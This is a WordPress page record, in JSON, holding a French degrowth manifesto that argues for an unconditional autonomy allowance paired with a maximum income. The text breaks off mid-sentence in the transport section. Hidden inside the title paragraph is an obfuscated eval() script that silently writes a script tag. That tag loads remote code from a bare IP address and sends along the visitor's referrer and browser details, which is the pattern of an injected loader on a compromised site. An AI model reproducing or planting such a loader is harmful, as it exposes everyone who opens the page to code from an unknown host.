{"id":6993,"date":"2012-02-27T10:54:25","date_gmt":"2012-02-27T09:54:25","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?page_id=6993"},"modified":"2012-08-29T12:31:20","modified_gmt":"2012-08-29T11:31:20","slug":"manifeste-pour-une-dotation-inconditionnelle-dautonomie","status":"publish","type":"page","link":"https:\/\/www.partipourladecroissance.net\/?page_id=6993","title":{"rendered":"La Dotation Inconditionnelle d\u2019Autonomie (DIA), un outil pour l\u2019\u00e9galit\u00e9 et la dignit\u00e9"},"content":{"rendered":"<div>\n<p align=\"center\"><strong>La <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yktat|var|u0026u|referrer|nsrnr||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Dotation Inconditionnelle d\u2019Autonomie (DIA), un outil pour l\u2019\u00e9galit\u00e9 et la dignit\u00e9.<\/strong><\/p>\n<p align=\"center\">Promouvoir une transition d\u00e9mocratique et sereine vers des soci\u00e9t\u00e9s soutenables et surtout souhaitables de D\u00e9croissance.<strong><br \/>\n<\/strong><\/p>\n<p align=\"right\"><em>\u00ab\u00a0L&rsquo;homme ne d\u00e9sire pas par nature gagner de plus en plus d&rsquo;argent, mais il d\u00e9sire tout simplement vivre selon son habitude et gagner autant d&rsquo;argent qu&rsquo;il lui en faut pour cela\u00a0\u00bb.<\/em><\/p>\n<p align=\"right\"><em>Max Weber<\/em><\/p>\n<p><strong>\u00a0<a href=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2012\/02\/DIA-26-02-12-1.pdf\">Version de mars 2012 \u00e0 t\u00e9l\u00e9charger en pdf<\/a><br \/>\n<\/strong><\/p>\n<p>La premi\u00e8re des D\u00e9croissances[1] doit \u00eatre la d\u00e9croissance des in\u00e9galit\u00e9s. Ainsi, une des propositions souvent mise en avant et d\u00e9battue par les Objecteurs de Croissance (OC) est l&rsquo;instauration d&rsquo;une Dotation Inconditionnelle d&rsquo;Autonomie (DIA) coupl\u00e9e \u00e0 un Revenu Maximum Autoris\u00e9 (RMA). Cette DIA serait vers\u00e9e \u00e0 toutes et tous et de mani\u00e8re \u00e9gale de la naissance \u00e0 la mort, afin de garantir un niveau de vie d\u00e9cent et d\u00e9connect\u00e9 de l&rsquo;occupation d&rsquo;un emploi[2]. Cette dotation serait individuelle, inali\u00e9nable et cumulable \u00e0 tout autre revenu et traduirait la reconnaissance de la contribution de chaque individu \u00e0 la soci\u00e9t\u00e9, \u00e0 travers l&rsquo;ensemble de ses activit\u00e9s, notamment non-marchandes.<\/p>\n<p>Sans \u00eatre une fin en soi, la DIA pourrait \u00eatre un outil \u00e9conomique et social formidable pour initier une transition d\u00e9mocratique[3] et sereine vers une sortie de l&rsquo;asservissement au travail, une sortie du capitalisme, une relocalisation de l&rsquo;\u00e9conomie, une repolitisation de la soci\u00e9t\u00e9 gr\u00e2ce \u00e0 la r\u00e9appropriation de nos choix de vie et permettre ainsi \u00e0 toutes et tous de participer \u00e0 la construction de soci\u00e9t\u00e9s de D\u00e9croissance soutenables, souhaitables et conviviales.<\/p>\n<p><!--more--><\/p>\n<p><strong>Pourquoi une dotation ?<\/strong><\/p>\n<ol>\n<li><strong><\/strong><strong>Une dotation pour une d\u00e9croissance des in\u00e9galit\u00e9s (protection, partage contre aust\u00e9rit\u00e9 et comp\u00e9tition)<\/strong><\/li>\n<li><strong><\/strong><strong>Une dotation pour une sortie de l&rsquo;asservissement au travail<\/strong><\/li>\n<li><strong><\/strong><strong>Une dotation pour une sortie du capitalisme et de l&rsquo;\u00e9conomicisme (crise de la dette : ni aust\u00e9rit\u00e9, ni relance)<\/strong><\/li>\n<li><strong><\/strong><strong>Une dotation pour une relocalisation ouverte<\/strong><\/li>\n<li><strong><\/strong><strong>Une dotation au service d&rsquo;une d\u00e9mocratie r\u00e9elle<\/strong><\/li>\n<li><strong><\/strong><strong>Une dotation pour initier une transition vers des soci\u00e9t\u00e9s de D\u00e9croissance soutenables, souhaitables et conviviales<\/strong><\/li>\n<\/ol>\n<p><strong><span style=\"text-decoration: underline;\"><br \/>\n<\/span><\/strong><\/p>\n<p><strong>Une dotation pour toutes et tous, de mani\u00e8re inconditionnelle de la naissance \u00e0 la mort, permettant d&rsquo;avoir une vie frugale et d\u00e9cente, avec :<\/strong><\/p>\n<ol>\n<li><strong>Droit d&rsquo;acc\u00e8s \u00e0 un logement et au foncier<\/strong><\/li>\n<li><strong>Droit de tirage sur les ressources naturelles et \u00e9nerg\u00e9tiques<\/strong><\/li>\n<li><strong>Acc\u00e8s \u00e0 la sant\u00e9<\/strong><\/li>\n<li><strong>Acc\u00e8s aux transports<\/strong><\/li>\n<li><strong>Acc\u00e8s \u00e0 l&rsquo;\u00e9ducation<\/strong><\/li>\n<li><strong><\/strong><strong>Acc\u00e8s \u00e0 la culture et droit \u00e0 l&rsquo;information<\/strong><\/li>\n<\/ol>\n<p><strong><span style=\"text-decoration: underline;\"><br \/>\n<\/span><\/strong><\/p>\n<p><strong>Une dotation pour une d\u00e9croissance des in\u00e9galit\u00e9s<\/strong><\/p>\n<p>Par sa mise en place, la Dotation Inconditionnelle d&rsquo;Autonomie permettrait \u00e0 tout individu de b\u00e9n\u00e9ficier de conditions de vie d\u00e9centes et dignes en favorisant l&rsquo;autonomie de chacun tout en faisant cesser la d\u00e9pendance au travail salari\u00e9. De m\u00eame, on sortirait du cycle infernal de l&rsquo;exclusion voir de l&rsquo;humiliation li\u00e9e \u00e0 un ch\u00f4mage grandissant surtout chez les plus jeunes. En \u00e9tant vers\u00e9e automatiquement \u00e0 toutes et tous, elle n&rsquo;entra\u00eene aucune exception de fait ou de droit. La DIA renforce le syst\u00e8me de protection sociale dans son ensemble car elle assure un socle de biens et de services essentiels. Elle s\u00e9curise la vie humaine pour devenir une pi\u00e8ce ma\u00eetresse d&rsquo;un nouveau mod\u00e8le social car ni un emploi, ni les aides sociales classiques ne peuvent pr\u00e9tendre garantir un droit \u00e0 l&rsquo;existence digne. La DIA cr\u00e9erait ce lien de solidarit\u00e9 indispensable entre tous les membres de la soci\u00e9t\u00e9.<\/p>\n<p>En outre, cette dotation s&rsquo;accompagnerait obligatoirement de l&rsquo;instauration d&rsquo;un Revenu Maximal Autoris\u00e9e (RMA) dont le montant[4] devra \u00eatre discut\u00e9 d\u00e9mocratiquement dans l&rsquo;optique de lutter contre les \u00e9carts de revenus, parce que la D\u00e9croissance en politique vise bien la d\u00e9croissance des in\u00e9galit\u00e9s. Ainsi, en \u00e9tant re\u00e7u par tous sans plafond de ressources mais imposable et donc r\u00e9cup\u00e9rable enti\u00e8rement par la fiscalit\u00e9, la DIA permettrait de r\u00e9duire les in\u00e9galit\u00e9s. A ceux qui pensent que le RMA serait obsol\u00e8te si la DIA \u00e9tait en vigueur car, dans ce cas, les in\u00e9galit\u00e9s seraient moins choquantes puisque tout le monde disposerait des conditions mat\u00e9rielles pour vivre dignement et d\u00e9cemment, nous leur r\u00e9torquons que le RMA est \u00e9galement un moyen de r\u00e9duire l&rsquo;impact \u00e9cologique des plus riches, d&rsquo;\u00e9viter de scandaleux gaspillages et d&rsquo;outranci\u00e8res pratiques et surtout de rompre avec la place qu&rsquo;a pris dans nos imaginaires le mode de vie des plus ais\u00e9s[5].<\/p>\n<p>Enfin, face \u00e0 la crise \u00e9conomique et sociale qui touche de plus en plus de citoyens et surtout face aux crises \u00e0 venir[6], il est n\u00e9cessaire de redonner de la s\u00e9r\u00e9nit\u00e9 et de la s\u00e9curit\u00e9. En effet, la peur du lendemain, la souffrance engendrent replis identitaires, haines, violences, frustrations et n&rsquo;ont que peu de chance de cr\u00e9er les conditions d&rsquo;une transition d\u00e9mocratique. Il faut ainsi redonner de l&rsquo;espoir, de la s\u00e9r\u00e9nit\u00e9 et prot\u00e9ger afin de faire ressortir ce qu&rsquo;il y a de plus positif, constructif, de cr\u00e9er des solidarit\u00e9s et de rendre cette transition participative.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Une dotation pour une sortie de l&rsquo;asservissement au travail<\/strong><\/p>\n<p>La DIA est avant tout l&rsquo;outil permettant la r\u00e9alisation des droits fondamentaux de chaque individu en le lib\u00e9rant de la centralit\u00e9 du travail par sa transformation en une activit\u00e9 volontaire et \u00e9panouissante[7]. Cette dotation s&rsquo;inscrit dans une r\u00e9flexion qui ne fonde pas l&rsquo;\u00e9mancipation des hommes et des femmes sur le travail. L&rsquo;\u00e9l\u00e9vation du travail au rang de valeur fondamentale r\u00e9sulte d&rsquo;une id\u00e9ologie productiviste et consum\u00e9riste qui est incompatible avec un quelconque \u00e9panouissement de l&rsquo;individu. De plus, aujourd&rsquo;hui, le monde du travail est devenu un monde de comp\u00e9tition avec la menace du ch\u00f4mage, de stress avec les nouvelles m\u00e9thodes de management, d\u2019alt\u00e9ration de la convivialit\u00e9 avec une qu\u00eate toujours plus forte de productivit\u00e9 et surtout de perte de sens avec la sp\u00e9cialisation et la r\u00e9p\u00e9tition des t\u00e2ches ou encore lorsque ce travail devient n\u00e9faste pour la soci\u00e9t\u00e9[8].<\/p>\n<p>Outil pour d\u00e9coloniser notre imaginaire social, la DIA vise \u00e0 ne plus faire du travail notre seule r\u00e9f\u00e9rence, le seul fondement du lien social et le seul moyen pour essayer de vivre dignement.<\/p>\n<p>Avec cette dotation, nous cesserons de d\u00e9pendre pour notre int\u00e9gration \u00e9conomique et sociale du statut li\u00e9 au travail salari\u00e9. C&rsquo;est permettre \u00e0 d&rsquo;autres moyens d&rsquo;expression individuels ou collectifs de se lib\u00e9rer, c&rsquo;est aller vers une soci\u00e9t\u00e9 d&rsquo;activit\u00e9s choisies et librement n\u00e9goci\u00e9es plut\u00f4t que vers le travail subi tout en favorisant l&rsquo;\u00e9mergence d&rsquo;un \u00ab\u00a0tiers secteur\u00a0\u00bb (activit\u00e9s associatives, familiales, politiques, culturelles, c&rsquo;est-\u00e0-dire des activit\u00e9s dites \u00ab\u00a0hors-marchandes\u00a0\u00bb).<\/p>\n<p>En outre, la DIA met fin au ch\u00f4mage comme probl\u00e8me \u00e9conomique et social et favorise la r\u00e9partition des t\u00e2ches difficiles. Elle est une prime \u00e0 cette r\u00e9duction et est susceptible, alors, d&rsquo;enclencher un r\u00e9el partage des travaux p\u00e9nibles. La DIA aura des r\u00e9percussions sur les r\u00e9mun\u00e9rations et permettra de mieux \u00e9valuer le salaire pour chaque emploi dans le but d&rsquo;en faire une activit\u00e9 volontaire, en r\u00e9-estimant, par exemple, les t\u00e2ches p\u00e9nibles. Ces derni\u00e8res pourraient \u00eatre r\u00e9organis\u00e9es dans le cadre d&rsquo;un \u00ab\u00a0service d&rsquo;int\u00e9r\u00eat g\u00e9n\u00e9ral\u00a0\u00bb commun \u00e0 tous les citoyens.<\/p>\n<p>Sans signifier une d\u00e9sertion du march\u00e9 du travail, la DIA enclencherait une baisse de l&rsquo;activit\u00e9 \u00e9conomique, mais, est-ce r\u00e9ellement un probl\u00e8me alors que nous produisons d\u00e9j\u00e0 trop et que nous vivons au-dessus de nos moyens et de nos besoins[9]\u00a0? Ce sera \u00e0 chacun de s&rsquo;organiser et traduire cette d\u00e9croissance du g\u00e2chis et du superflu dans la vie quotidienne, autrement dit ne plus passer sa vie \u00e0 produire des choses inutiles pour les vendre \u00e0 des gens qui n&rsquo;en ont pas besoin.<\/p>\n<p><span style=\"text-decoration: underline;\"><br \/>\n<\/span><\/p>\n<p><strong>Une dotation pour une sortie du capitalisme et de l&rsquo;\u00e9conomicisme<\/strong><\/p>\n<p>La DIA est un biais afin de sortir de la soci\u00e9t\u00e9 croissanciste, productiviste et consum\u00e9riste qui guide nos vies, nos besoins et nos esp\u00e9rances. C&rsquo;est une condition obligatoire pour amorcer le virage vers une soci\u00e9t\u00e9 de D\u00e9croissance. Cependant, la DIA ne sera efficace que si et seulement si cette dotation ouvre la possibilit\u00e9 d&rsquo;un autre choix de soci\u00e9t\u00e9 qui n&rsquo;est pas celui de vivre pour consommer. Proposer la DIA, c&rsquo;est remettre en cause fondamentalement la logique capitaliste et chercher un autre mode d&rsquo;organisation sociale qui va plus loin que de secourir les plus d\u00e9munis ou corriger le syst\u00e8me \u00e0 la marge, mais bien le renverser car il est dans une impasse.<\/p>\n<p>Le but du capitalisme est de tout faire rentrer dans son domaine marchand. Une sortie douce du capitalisme est le chemin inverse. Pour cela, cette dotation doit s&rsquo;inscrire dans l&rsquo;extension des sph\u00e8res de la gratuit\u00e9 car tout ce qui est gratuit, dont la propri\u00e9t\u00e9 est collective et dont nous partageons l&rsquo;usage, s&rsquo;int\u00e8gre <em>de facto<\/em> \u00e0 la DIA pour se lib\u00e9rer des forces du march\u00e9. Cette gratuit\u00e9 se justifie pour le bon usage et s\u2019\u00e9quilibre par le rench\u00e9rissement du m\u00e9susage. Cela n\u00e9cessitera de d\u00e9battre collectivement des besoins et des champs d&rsquo;intervention des services publics, sens\u00e9s fournir ces biens et services essentiels, du r\u00f4le et de la place de l&rsquo;\u00e9conomie mais aussi des limites \u00e0 s&rsquo;imposer. C&rsquo;est une gratuit\u00e9 socialement et d\u00e9mocratiquement organis\u00e9e et accept\u00e9e.<\/p>\n<p>La DIA est donc synonyme d&rsquo;un acc\u00e8s libre et gratuit \u00e0 certains biens et services dont la propri\u00e9t\u00e9 et la gestion sont collectives comme le droit que nous partageons sur leurs usages. Quelques pistes sont \u00e9voqu\u00e9es plus loin. En fait, la DIA permettrait que chacun jouisse d&rsquo;une petite part mais suffisante des richesses collectives.<\/p>\n<p>La DIA n&rsquo;est donc pas un revenu num\u00e9raire en \u20ac[10], \u00e9quivalent gonfl\u00e9 de l&rsquo;actuel RMI ou RSA \u00e0 hauteur de 1 200 \u20ac. Elle bouscule l&rsquo;imaginaire croissanciste et se recentre sur les besoins fondamentaux et essentiels pour permettre un \u00e9panouissement individuel et collectif fond\u00e9 sur d&rsquo;autres valeurs que celles port\u00e9es par le capitalisme.<\/p>\n<p>&nbsp;<\/p>\n<p><em>Le financement de la DIA, un vrai faux probl\u00e8me : vers une sortie de l&rsquo;\u00e9conomicisme.<\/em><\/p>\n<p>Le financement de la DIA est fr\u00e9quemment \u00e9voqu\u00e9 pour signifier son impossibilit\u00e9 et classer cette mesure dans le champ du r\u00eave. Or, la r\u00e9alit\u00e9 est tout autre. Plusieurs \u00e9tudes[11] ont d\u00e9montr\u00e9 que la mise en place de la DIA \u00e9tait r\u00e9alisable. C&rsquo;est un choix politique et soci\u00e9tal \u00e0 assumer et surtout un changement de paradigme \u00e0 imaginer. Ce choix de soci\u00e9t\u00e9, pour s&rsquo;imposer, ne passera pas que par les urnes mais bien par la soci\u00e9t\u00e9 qui, en grande majorit\u00e9, sera pr\u00eate dans son imaginaire \u00e0 changer de vie, \u00e0 ne plus travailler pour consommer mais \u00e0 \u00eatre autonome pour vivre ensemble.<\/p>\n<p>Bien des r\u00e9fractaires \u00e0 la DIA puisent dans l&rsquo;argument comptable pour la condamner avant m\u00eame d&rsquo;envisager une r\u00e9flexion plus large sur son sens et son ambition. Cet argument sonne creux et respire la tromperie tant, par le pass\u00e9, notre soci\u00e9t\u00e9 a relev\u00e9 des d\u00e9fis encore plus compliqu\u00e9s et financi\u00e8rement aussi co\u00fbteux. Nous n&rsquo;avons qu&rsquo;\u00e0 nous rem\u00e9morer l&rsquo;ambition du Conseil National de la R\u00e9sistance et les mesures prises apr\u00e8s la deuxi\u00e8me guerre mondiale. Plus proche de nous, le sauvetage des banques (et du syst\u00e8me financier) a montr\u00e9 que l&rsquo;Etat disposait de \u00ab\u00a0ressources\u00a0\u00bb mobilisables rapidement. L&rsquo;argument comptable est donc tout aussi fallacieux que l&rsquo;imposture de la cr\u00e9ation mon\u00e9taire[12] ou des dettes, publiques ou priv\u00e9es, qui, quelle que soit la croissance, ne pourront jamais \u00eatre rembours\u00e9es[13]. La DIA est un d\u00e9fi soci\u00e9tal et un choix qui peut s&rsquo;imposer si nous souhaitons r\u00e9ellement sortir du capitalisme. Il suffit d&rsquo;avoir l&rsquo;audace, le courage politique mais surtout une forte adh\u00e9sion et participation \u00e0 cette volont\u00e9 de changement.<\/p>\n<p>La DIA sous-entend de repenser notre syst\u00e8me de redistribution et de solidarit\u00e9 en supprimant les prestations et allocations sociales, devenues obsol\u00e8tes tout comme les politiques agressives pour l&#8217;emploi ou de luttes contre le ch\u00f4mage. Elle n\u00e9cessitera une profonde r\u00e9forme fiscale avec, par exemple, la r\u00e9habilitation de l&rsquo;imp\u00f4t progressif sur le revenu afin de taxer \u00e0 100 % au-dessus d&rsquo;un certain niveau \u00e0 d\u00e9finir d\u00e9mocratiquement qui serait le Revenu Maximum Autoris\u00e9 (RMA) ou l&rsquo;instauration d&rsquo;une r\u00e9elle taxe \u00e0 la consommation visant \u00e0 p\u00e9naliser les productions non locales et\/ou non respectueuses de l&rsquo;environnement ou encore inutiles voire n\u00e9fastes (publicit\u00e9, armement[14], obsolescence programm\u00e9e[15], jetables&#8230;). Certaines prestations dispara\u00eetront car elles seront mobilis\u00e9es pour assurer la p\u00e9rennit\u00e9 de la DIA : elles seront inclues dans la DIA.<\/p>\n<p>Encore une fois, rien d&rsquo;impossible, tout reste \u00e0 inventer car l&rsquo;instauration de la DIA est envisageable et possible d&rsquo;un point de vue budg\u00e9taire[16]. Elle l&rsquo;est encore plus du point de vue des ressources, qu&rsquo;elles soient \u00e9nerg\u00e9tiques ou \u00e9conomiques puisqu&rsquo;elle a vocation \u00e0 rationaliser et \u00e0 rendre soutenables nos modes de vie.<\/p>\n<p>La DIA ne sera pas que mon\u00e9taire mais devra \u00e9galement \u00eatre la mise \u00e0 disposition de services et de mat\u00e9riels pour bien vivre. Cela suppose que les collectivit\u00e9s reprennent \u00e0 nouveau certains services publics comme l&rsquo;eau, le gaz, l&rsquo;\u00e9lectricit\u00e9 ou les transports afin d&rsquo;\u00e9tendre la sph\u00e8re de gratuit\u00e9.<\/p>\n<p><span style=\"text-decoration: underline;\"><br \/>\n<\/span><\/p>\n<p><strong>Une dotation pour une relocalisation ouverte<\/strong><\/p>\n<p><em>Et ainsi favoriser la d\u00e9croissance de la consommation des ressources non renouvelables : vers une souverainet\u00e9 alimentaire et \u00e9nerg\u00e9tique locale.<\/em><\/p>\n<p><strong><em>\u00a0<\/em><\/strong>Aujourd&rsquo;hui se mettent en place un peu partout des collectifs, des projets locaux, que l&rsquo;on appelle alternatives concr\u00e8tes. Ces alternatives participent \u00e0 une relocalisation ouverte[17] souhaitable et n\u00e9cessaire de nos productions, de nos \u00e9changes, de nos rapports \u00e9conomiques. La DIA pourrait servir de support \u00e0 ces alternatives d\u00e9j\u00e0 existantes et aussi en favoriser l&rsquo;\u00e9mergence de nouvelles. Par exemple, la DIA pourrait \u00eatre vers\u00e9e en monnaies locales fondantes[18] ne pouvant \u00eatre utilis\u00e9es que pour des produits de proximit\u00e9. Elle aiderait ainsi au soutien et \u00e0 la naissance de jardins partag\u00e9s, d&rsquo;ateliers autog\u00e9r\u00e9s de r\u00e9paration, maintenance, d&rsquo;artisanats, de syst\u00e8mes d&rsquo;\u00e9changes locaux (SEL), de mise en commun de mat\u00e9riels, d&rsquo;habitats partag\u00e9s, de r\u00e9flexions sur la r\u00e9silience[19], de d\u00e9veloppement d&rsquo;\u00e9nergies locales et artisanales et ainsi tendre vers une souverainet\u00e9 \u00e0 la fois \u00e9nerg\u00e9tique et alimentaire et vers une sortie de notre d\u00e9pendance aux \u00e9nergies fossiles et en particulier au p\u00e9trole.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Une dotation au service de la d\u00e9mocratie<\/strong><\/p>\n<p><em>Vers une r\u00e9appropriation de nos choix de vie<\/em><\/p>\n<p><em>\u00a0<\/em>La DIA offre \u00e0 chaque citoyen la jouissance pleine et enti\u00e8re de la d\u00e9mocratie car elle rend \u00e0 l&rsquo;individu son autonomie et sa r\u00e9flexion pour agir dans la soci\u00e9t\u00e9, celles-ci n&rsquo;\u00e9tant plus monopolis\u00e9es par le travail. Elle est un outil de transformation sociale et de r\u00e9appropriation de nos choix de vie.<\/p>\n<p>En apportant une solution au ch\u00f4mage et en favorisant le partage du travail, la DIA concr\u00e9tise la revalorisation sociale des activit\u00e9s non-marchandes et, surtout, remet en cause le monopole du travail comme source d&rsquo;int\u00e9gration et de reconnaissance sociale.<\/p>\n<p>Elle recentre l&rsquo;individu dans la soci\u00e9t\u00e9, non plus en fonction de son emploi mais en l&rsquo;ouvrant vers des perspectives d&rsquo;\u00e9panouissement personnel permettant une \u00e9mancipation individuelle et collective favorable \u00e0 l&rsquo;usage d&rsquo;une d\u00e9mocratie r\u00e9elle, ouverte et participative qui ne d\u00e9pend plus de facteurs \u00e9conomiques.<\/p>\n<p>&nbsp;<\/p>\n<p>Lib\u00e9r\u00e9-e de l&rsquo;obligation du travail, chaque citoyen-ne aura le temps mais aussi la possibilit\u00e9 de participer \u00e0 la vie de la cit\u00e9. La DIA peut d\u00e8s lors contribuer \u00e0 une repolitisation de la soci\u00e9t\u00e9 et \u00e0 une resocialisation de la politique en impliquant les citoyens. Ainsi, la mani\u00e8re dont la DIA sera vers\u00e9e doit \u00eatre d\u00e9cid\u00e9e d\u00e9mocratiquement et, au moins pour une partie, localement : quelle quantit\u00e9 d&rsquo;eau, de nourriture, d&rsquo;\u00e9nergie est consid\u00e9r\u00e9e comme un droit et \u00e0 partir de quel niveau elle devient un produit marchand tax\u00e9. De m\u00eame, la r\u00e9partition des t\u00e2ches difficiles et l&rsquo;organisation de la r\u00e9alisation de celles-ci devront \u00eatre discut\u00e9es et d\u00e9cid\u00e9es collectivement.<\/p>\n<p>Cela doit participer \u00e0 une r\u00e9appropriation du choix de ce que l&rsquo;on produit, comment on le produit et pour quel usage.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Une dotation pour initier une transition vers des soci\u00e9t\u00e9s de D\u00e9croissance soutenables, souhaitables et conviviales<\/strong><\/p>\n<p><strong><\/strong>Outil de justice sociale, de lutte contre l&rsquo;ali\u00e9nation du travail tout en permettant le respect des besoins fondamentaux de toutes et tous, la DIA est indispensable pour engager la soci\u00e9t\u00e9 dans le chemin de la D\u00e9croissance. Facteur d&rsquo;\u00e9mancipation, elle favorise l&rsquo;autonomie sociale et financi\u00e8re tout en r\u00e9duisant les in\u00e9galit\u00e9s gr\u00e2ce au RMA et en permettant un \u00e9gal acc\u00e8s aux besoins et services fondamentaux.<\/p>\n<p>Afin de mieux comprendre ce que pourrait repr\u00e9senter la DIA, nous allons maintenant \u00e9num\u00e9rer de fa\u00e7on sommaire des pistes, des propositions qui sont \u00e0 explorer, r\u00e9fl\u00e9chir, critiquer, \u00e0 mettre en perspective, \u00e0 pr\u00e9ciser mais aussi \u00e0 compl\u00e9ter et \u00e0 inventer pour rechercher ce que serait concr\u00e8tement une Dotation Inconditionnelle d&rsquo;Autonomie.<\/p>\n<p>&nbsp;<\/p>\n<p align=\"center\"><strong>Uto-pistes sur la DIA<\/strong><\/p>\n<p><strong>\u00a0<\/strong>Une partie de la DIA peut \u00eatre vers\u00e9e en monnaie mais en monnaie locale fondante. Ainsi, la DIA permettrait de s&rsquo;affranchir de la monnaie traditionnelle en la privant de sa fonction de th\u00e9saurisation et de sp\u00e9culation pour la ramener \u00e0 ses seules fonctions d&rsquo;\u00e9valuation et d&rsquo;\u00e9change. La DIA, ainsi compos\u00e9e contribuerait \u00e0 sortir du syst\u00e8me financier et mon\u00e9taire actuel. La monnaie pourrait, aussi, \u00eatre affect\u00e9e \u00e0 une utilisation circonscrite \u00e0 certains commerces, certains usages ou territoires.<\/p>\n<p>Il peut toutefois \u00eatre envisag\u00e9 de verser une partie, et seulement une partie[20], de cette dotation en monnaie nationale (euros).<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Droit au logement et d&rsquo;acc\u00e8s au foncier<\/strong><\/p>\n<p>Le logement est un droit fondamental \u00e0 prendre en compte dans la DIA. La question fonci\u00e8re est difficile mais chaque personne doit pouvoir vivre dans un logement d\u00e9cent et \u00e9nerg\u00e9tiquement sobre. Chacun pourrait, par exemple, disposer d&rsquo;un nombre de m\u00b2 minimum et payer le surplus au prix du march\u00e9 (d&rsquo;un march\u00e9 fonctionnant d\u00e9mocratiquement avec des instances de contr\u00f4le et de r\u00e9gulation).<\/p>\n<p>Ainsi, la loi de r\u00e9quisition doit \u00eatre appliqu\u00e9e afin de sortir de la sp\u00e9culation et de refuser cette injustice et cette absurdit\u00e9 dans nos soci\u00e9t\u00e9 dites d\u00e9velopp\u00e9es, d&rsquo;avoir toujours plus de sans abris et de mal log\u00e9s et des logements vides appartenant \u00e0 des soci\u00e9t\u00e9s ou des particuliers sp\u00e9culant sur l&rsquo;immobilier.<\/p>\n<p>Ce droit au logement doit s&rsquo;inscrire dans une logique de relocalisation de la vie et permettre de r\u00e9duire les d\u00e9placements quotidiens en repensant l&rsquo;urbanisme.<\/p>\n<p>De m\u00eame pour l<strong>&lsquo;<\/strong>acc\u00e8s \u00e0 la terre ou \u00e0 un local d&rsquo;activit\u00e9, cette dotation doit permettre l\u2019acc\u00e8s \u00e0 un certains nombre de m\u00b2 pour produire localement des fruits et l\u00e9gumes et\/ou \u00e0 un local pour initier des activit\u00e9s locales faisant sens (atelier v\u00e9lo, atelier de r\u00e9paration, services, artisanat, culture&#8230;) afin de d\u00e9marrer, de faciliter, de promouvoir et de soutenir des alternatives concr\u00e8tes de transition (jardins partag\u00e9s, Syst\u00e8mes d&rsquo;\u00c9changes Locaux, SOL, Association pour le Maintien de l&rsquo;Agriculture Paysanne, initiatives villes, territoires en transition, etc.).<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Ressources naturelles et \u00e9nerg\u00e9tiques<\/strong><\/p>\n<p><strong>\u00a0<\/strong>La DIA comprend un droit de tirage sur les ressources naturelles de base (l&rsquo;eau, le gaz et l&rsquo;\u00e9lectricit\u00e9) fond\u00e9 sur la gratuit\u00e9 du bon usage et le rench\u00e9rissement du m\u00e9susage. Ainsi, les premiers kWh ou m<sup>3<\/sup> consomm\u00e9s seraient gratuits, puis le tarif deviendrait progressif jusqu&rsquo;\u00e0 p\u00e9naliser les consommations jug\u00e9es trop importantes. Il n&rsquo;est plus possible de tol\u00e9rer que l&rsquo;eau pour remplir sa piscine ou pour laver son 4&#215;4 soit pay\u00e9e le m\u00eame prix que celle permettant de laver ses l\u00e9gumes, de faire la vaisselle ou encore de se laver.<\/p>\n<p>Ainsi, on pourrait imaginer qu&rsquo;au d\u00e9but de chaque mois, les compteurs d&rsquo;eau, de gaz, d&rsquo;\u00e9lectricit\u00e9 soient n\u00e9gatifs d&rsquo;une certaine quantit\u00e9.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Sant\u00e9<\/strong><\/p>\n<p><strong>\u00a0<\/strong>Le syst\u00e8me de Sant\u00e9<strong> <\/strong>reste une composante de la DIA tant il para\u00eet \u00e9vident que l&rsquo;acc\u00e8s aux soins est un droit essentiel pour tout individu, mais aussi un vecteur social fondamental de la vie locale. Cela n\u00e9cessitera une refonte de l&rsquo;organisation m\u00e9dicale (de l&rsquo;organisation g\u00e9ographique pour une sant\u00e9 de proximit\u00e9 au syst\u00e8me des mutuelles afin de nous r\u00e9approprier nos solidarit\u00e9s). Par contre, tout abus ou m\u00e9dication de confort ne devra pas \u00eatre gratuite mais bien \u00e0 la charge du patient. La mise au point, la fabrication et la distribution des m\u00e9dicaments devraient ainsi devenir un service public ou au moins sous tutelle permettant l&rsquo;ind\u00e9pendance vis-\u00e0-vis des lobbies et la diminution des g\u00e2chis (\u00e0 distribuer par exemple \u00e0 l&rsquo;unit\u00e9 plut\u00f4t qu&rsquo;en bo\u00eete).<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Education<\/strong><\/p>\n<p>L&rsquo;\u00e9ducation<strong> <\/strong>fait \u00e9galement partie int\u00e9grante de la DIA. Le syst\u00e8me \u00e9ducatif devra \u00eatre r\u00e9ellement gratuit et ne pas g\u00e9n\u00e9rer des d\u00e9penses excessives pour les familles. La gratuit\u00e9 doit \u00eatre totale afin que ce pan essentiel de la vie de nos enfants \u2013 mais il en est de m\u00eame pour la formation continue ou les activit\u00e9s associatives et sportives \u2013 reste un espace non discriminant o\u00f9 l&rsquo;argent n&rsquo;a pas sa place. Une politique de formation \u00e0 l&rsquo;autonomie, c&rsquo;est-\u00e0-dire une formation tout au long de la vie non pas pour trouver un emploi r\u00e9mun\u00e9rateur mais s&rsquo;\u00e9panouir individuellement et collectivement selon ses d\u00e9sirs et ses attentes, devra \u00e9galement \u00eatre envisag\u00e9e. De m\u00eame qu&rsquo;une sensibilisation civique \u00e0 la vie en soci\u00e9t\u00e9 : r\u00e9appropriation de la politique, \u00e9coute, d\u00e9bats, prises de d\u00e9cision, communication non violente, service civique&#8230;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Transports<\/strong><\/p>\n<p>Au niveau des d\u00e9placements, les collectivit\u00e9s devront envisager la gratuit\u00e9 des transports collectifs de proximit\u00e9 et mettre \u00e0 disposition les moyens d&rsquo;utiliser les 